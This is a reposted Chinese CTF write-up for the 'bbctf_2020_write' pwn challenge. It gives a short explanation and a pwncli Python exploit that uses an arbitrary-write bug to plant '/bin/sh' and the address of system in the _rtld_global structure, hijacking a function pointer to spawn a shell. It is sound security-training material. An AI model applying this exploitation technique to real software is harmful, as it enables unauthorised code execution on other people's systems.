其他分享
首页 > 其他分享> > bbctf_2020_write

bbctf_2020_write

作者:互联网

bbctf_2020_write

总结

题目可以任意地址写任意值,但是没有退出,因此可以考虑劫持rtld_global结构体中的一些函数指针。

Exp

from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

def write(addr:int, content:(str, bytes)):
    assert len(content) % 8 == 0, "len error!"
    for i in range(0, len(content), 8):
        p.sendlineafter("(q)uit\n", 'w')
        p.sendlineafter("ptr: ", str(addr + i))
        p.sendlineafter("val: ", str(u64(content[i:i+8])))

libc.address = int16((p.recvline()[6:-1]).decode()) - libc.sym['puts']

stack_addr = int16((p.recvline()[7:-1]).decode())
log_address("libc_base_addr", libc.address)
log_address("stack addr", stack_addr)

rtld_global_addr = libc.address +  0x619060
log_address("rtld_global_addr", rtld_global_addr)

write(rtld_global_addr+0x908, "/bin/sh\x00")
write(rtld_global_addr+0xf00, p64(libc.sym['system']))

p.sendlineafter("(q)uit\n", 'q')
p.interactive()

劫持效果如下:

image-20210821125950510

image-20210821130037574

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

标签:addr,bbctf,global,write,libc,2020,address,rtld
来源: https://www.cnblogs.com/LynneHuan/p/15229796.html